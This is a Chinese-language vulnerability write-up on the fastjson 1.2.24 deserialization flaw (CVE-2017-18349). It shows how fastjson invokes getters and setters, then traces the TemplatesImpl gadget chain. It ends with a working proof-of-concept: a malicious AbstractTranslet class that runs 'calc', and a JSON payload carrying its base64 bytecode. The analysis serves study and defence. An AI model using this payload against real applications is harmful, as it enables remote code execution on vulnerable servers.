Preface
CVE-2017-18349 是 fastjson 在 1.2.24 及之前版本存在的反序列化漏洞。fastjson 通过 @type
指定反序列化的任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。
前置知识
我们目前已经知道这是一个反序列化的漏洞,那么我们首先要了解一些关于Fastjson序列化与反序列化的前置知识。
序列化的细节
fastjson提供了 JSON.toJSONString(jsonString)
来帮助我们将对象序列化为 json 字符串,我们编写以下测试类对序列化的过程进行分析。
package org.example;
import java.util.Properties;
public class User{
private String name1; // 同时拥有getter与setter
private String name2; // 仅拥有getter
private String name3; // 仅拥有setter
private String name4; // 没有方法
public String nickName1; // 同时拥有getter与setter
public String nickName2; // 仅拥有getter
public String nickName3; // 仅拥有setter
public String nickName4; // 没有方法
private Properties userProp1; // 同时拥有getter与setter
private Properties userProp2; // 仅拥有getter
private Properties userProp3; // 仅拥有setter
private Properties userProp4; // 没有方法
public Properties userTempProp1; // 同时拥有getter与setter
public Properties userTempProp2; // 仅拥有getter
public Properties userTempProp3; // 仅拥有setter
public Properties userTempProp4; // 没有方法
public User(){
this.name1 = "Richard_1";
this.name2 = "Richard_2";
this.name3 = "Richard_3";
this.name4 = "Richard_4";
this.nickName1 = "RichardLuo_1";
this.nickName2 = "RichardLuo_2";
this.nickName3 = "RichardLuo_3";
this.nickName4 = "RichardLuo_4";
userProp1 = new Properties();
userProp2 = new Properties();
userProp3 = new Properties();
userProp4 = new Properties();
userProp1.put("name1", this.name1);
userProp2.put("name2", this.name2);
userProp3.put("name3", this.name3);
userProp4.put("name4", this.name4);
userTempProp1 = new Properties();
userTempProp2 = new Properties();
userTempProp3 = new Properties();
userTempProp4 = new Properties();
userTempProp1.put("nickName1", this.nickName1);
userTempProp2.put("nickName2", this.nickName2);
userTempProp3.put("nickName3", this.nickName3);
userTempProp4.put("nickName4", this.nickName4);
System.out.println("User init() is called");
}
// 定义getter方法
public String getName1(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.name1;
}
public String getName2(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.name2;
}
public String getNickName1(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.nickName1;
}
public String getNickName2(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.nickName2;
}
public Properties getUserProp1(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.userProp1;
}
public Properties getUserProp2(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.userProp2;
}
public Properties getUserTempProp1(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.userTempProp1;
}
public Properties getUserTempProp2(){
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return this.userTempProp2;
}
// 定义setter方法
public void setName1(String name) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name1 = name;
}
public void setName3(String name) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.name3 = name;
}
public void setNickName1(String name) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.nickName1 = name;
}
public void setNickName3(String name) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.nickName3 = name;
}
public void setUserProp1(Properties userProp) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.userProp1 = userProp;
}
public void setUserProp3(Properties userProp) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.userProp3 = userProp;
}
public void setUserTempProp1(Properties tempUserProp) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.userTempProp1 = tempUserProp;
}
public void setUserTempProp3(Properties tempUserProp) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.userTempProp3 = tempUserProp;
}
public void resultReport(){
System.out.println(this.name1);
System.out.println(this.name2);
System.out.println(this.name3);
System.out.println(this.name4);
System.out.println(this.nickName1);
System.out.println(this.nickName2);
System.out.println(this.nickName3);
System.out.println(this.nickName4);
System.out.println(this.userProp1);
System.out.println(this.userProp2);
System.out.println(this.userProp3);
System.out.println(this.userProp4);
System.out.println(this.userTempProp1);
System.out.println(this.userTempProp2);
System.out.println(this.userTempProp3);
System.out.println(this.userTempProp4);
}
}
以上测试类,包含了 Public 与 Private 的 String 和 Properties 属性,还设置了不同的 setter 与 getter 方法。
通过下面的方式进行调用。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class FastJsonTest {
public static void main(String[] args) {
User user = new User();
System.out.println("===========================");
String jsonstr_a = JSON.toJSONString(user, SerializerFeature.PrettyFormat, SerializerFeature.WriteClassName);
System.out.println(jsonstr_a);
}
}
下为运行结果。
根据结果,我们发现 fastjson 在序列化的过程中,会调用类的 getter 方法,被 private 修饰且没有 getter 方法的属性将不会被序列化,被 public 修饰的属性都会被序列化,且序列化的结果是标准的 JSON 字符串。
上面的方法是非自省的,也就是在序列化完成之后得出的 json 字符串是无法知道它属于什么对象的。但 fastjson 是支持自省的,在序列化时传入类型信息 SerializerFeature.WriteClassName
,可以得到能表明对象类型的 json 文本。JSON.toJSONString(jsonString, SerializerFeature.WriteClassName);
执行结果如下,在 json 的字段名中,多出了 @type
字段,用于指定反序列化的目标对象的类,fastjson 的漏洞就是因为这个而引起的。
反序列化的细节
fastjson 提供了 JSON.parse()
和 JSON.parseObject()
来反序列化 json 字符串。
我们先来看看非自省的 JSON.parseObject(String text, Class<t> clazz)
。我们需要修改一部分源代码,将 User 类中的无参构造方法修改为空。public User(){}
,然后再准备 json 字符串进行反序列化。运行结果如下。
我们发现没有 setter 方法的 private 修饰的属性是没有被反序列化成功的。
JSON.parseObject(jsonString)
支持自省的反序列化。修改 json 字符串为携带@type
的 json 字符串。
从运行结果看,在反序列化的过程中,其调用了所有的 getter 和 setter 方法。
实际上 JSON.parseObject()
其内部是调用的 JSON.parse()
进行反序列化的,因此 JSON.parse()
也可以进行反序列化,只不过其返回的是 Object
对象,而不是 JSONObject
,parse方法对getter/setter方法的调用和非自省方法的调用一致,也恰恰由于是JSON.parseObject()
返回 JSONObject
因此它会额外调用一次 JSON.toJSON()
方法将 Object
对象转化为 JSONObject
对象,因此会遍历所有类中所有的 getter 和 setter 方法。
Feature.SupportNonPublicField
在前文的非自省反序列化中,我们无法为没有 setter 方法的 private 修饰的成员进行赋值,但是通过 Feature.SupportNonPublicField
我们可以完成赋值。
byte[]
fastjson 在序列化与反序列化byte[]
类型的成员时,将会把其内容进行base64的编码与解码,我们来看下面这个demo。
package org.example;
import com.alibaba.fastjson.JSON;
public class FastJsonBytes {
public static class User{
public byte[] sendName;
public String user_Name;
public User(){
this.user_Name = "Richard";
this.sendName = user_Name.getBytes();
}
public byte[] getSendName() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return sendName;
}
public void setSendName(byte[] sendName) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.sendName = sendName;
}
public String getUserName() {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
return user_Name;
}
public void setUserName(String user_Name) {
String methodName = Thread.currentThread().getStackTrace()[1].getMethodName();
System.out.println(methodName + "() is called");
this.user_Name = user_Name;
}
public void resultReport(){
System.out.println(new String(this.sendName));
}
}
public static void main(String[] args) {
User richard = new User();
String jsonstr = JSON.toJSONString(richard);
System.out.println(jsonstr);
User user = JSON.parseObject(jsonstr, User.class);
user.resultReport();
}
}
下为运行结果。即使我们的属性名为 user_Name
,其 getter 与 setter 方法为getUserName
,fastjson 依然能够调用其方法。
fastjson 使用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
来进行方法名的查找。其会将忽略 _
和 -
字符,在后续的漏洞利用中,我们可以使用它们来进行组合绕过等操作。
结论
根据几种输出的结果,可以得到每种调用方式的特点:
parseObject(String text, Class<T> clazz)
,构造方法 +setter
+ 满足条件额外的getter
parseObject(String text)
,构造方法 +setter
+getter
+ 满足条件额外的getter
parse(String text)
,构造方法 +setter
+ 满足条件额外的getter
fastjson 会使用 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch()
来查找类中的方法,其会将忽略 _
和 -
字符,在后续的漏洞利用中,我们可以使用它们来进行组合绕过等操作。
fastjson 将对会 byte[]
类型的成员进行 base64 的编解码操作。
漏洞分析
那么通过上面的分析,我们知道了 fastjson 在反序列化和序列化的过程中会按照一定规则调用类中的 getter 与 setter 方法,那么如果一个类中存在恶意的 setter 或 getter 方法,我们就能触发其恶意方法了。而我们又能通过 @type
修饰符来表明反序列化的目标对象类和注入恶意参数,若这个类中的方法存在利用点,我们就可以完成漏洞利用了。
问题出现在 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
类,该类实现了 Serializable
接口(Serializable接口没有需要实现的方法,它仅作为一个标记接口存在),因此该类可以被序列化。类中大多数的属性均为 private 修饰的属性。
我们先来看类中的 getTransletInstance()
方法,_class
是一个 Class 类型的数组,数组下标为 _transletIndex
的类会通过 newInstance()
实例化并将其强制类型转换为 AbstractTranslet
类型。
这里的
.getConstructor()
就涉及到前文提到过的 Java 反射了。在实例化的过程中,会反射调用类的构造方法进行实例化。
在类中 newTransformer()
方法调用了 getTransletInstance()
方法,而 getOutputProperties()
调用了 newTransformer()
方法。而 getOutputProperties()
正是 _outputProperties
的 getter 方法。
那么我们需在就需要知道如何将 _class[_transetIndex]
的这个对象注入为我们的恶意对象,在 getTransletInstance()
方法中,存在 defineTransletClasses()
方法。从下图中我们还能发现,若 _name
为空,则直接返回 null
了。
我们来看看这个方法的逻辑。首先 _bytecodes
属性不能为空。
_class
将会通过自定义 classloader 加载 _bytecodes
中的类。如果 _bytecodes
的父类为 ABSTRACT_TRANSLET
那么就将 _transletIndex
赋值为计数器,否则就抛出异常。而 _bytecodes
一样为类中的属性。
那么我们就可以梳理出一条调用链。
getOutputProperties() -> newTransformer() -> getTransletInstance() -> defineTransletClasses() -> newInstance()
那么要触发这个漏洞,我们需要构造一个反序列化为TemplatesImpl
类的 json 字符串,_bytecodes
为父类为 AbstractTranslet
的恶意类字节码,这个类最终会被加载构造方法并实例化。
fastjson 在这个过程中由于其反序列化触发 getter 的特性调用了上述调用链,并将 json 字符串中的恶意字节码反序列化注入为类的属性从而触发了漏洞。
恶意类如下,使用 Java1.8 进行编译后进行base64编码,获得恶意类字节码。
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class FastJsonTemplatesImpl extends AbstractTranslet {
public FastJsonTemplatesImpl() throws IOException {
Runtime.getRuntime().exec("calc");
}
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
EXP如下。
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class FastJsonTemplatesImplExploit {
public static void main(String[] args) {
String exploitJsonString = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAIQoABgATCgAUABUIABYKABQAFwcAGAcAGQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBAApFeGNlcHRpb25zBwAaAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABjxpbml0PgEAAygpVgcAGwEAClNvdXJjZUZpbGUBABpGYXN0SnNvblRlbXBsYXRlc0ltcGwuamF2YQwADgAPBwAcDAAdAB4BAARjYWxjDAAfACABABVGYXN0SnNvblRlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9pby9JT0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAGQAAAAMAAAABsQAAAAEACgAAAAYAAQAAAAwACwAAAAQAAQAMAAEABwANAAIACQAAABkAAAAEAAAAAbEAAAABAAoAAAAGAAEAAAAQAAsAAAAEAAEADAABAA4ADwACAAkAAAAuAAIAAQAAAA4qtwABuAACEgO2AARXsQAAAAEACgAAAA4AAwAAABIABAATAA0AFAALAAAABAABABAAAQARAAAAAgAS\"],\"_name\":\"Richardluo\",\"_tfactory\":{},\"_outputProperties\":{},}";
JSONObject temp = JSON.parseObject(exploitJsonString, Feature.SupportNonPublicField);
}
}
_tfactory
:defineTransletClasses()
中会调用其getExternalExtensionsMap()
方法,为null
会出现异常。_name
:defineTransletClasses()
方法中会检查该属性,若为空会直接终止反序列化链。_outputProperties
: 用于触发其 getter 方法,触发整个反序列化链。_bytecodes
: 用于存储恶意类字节码。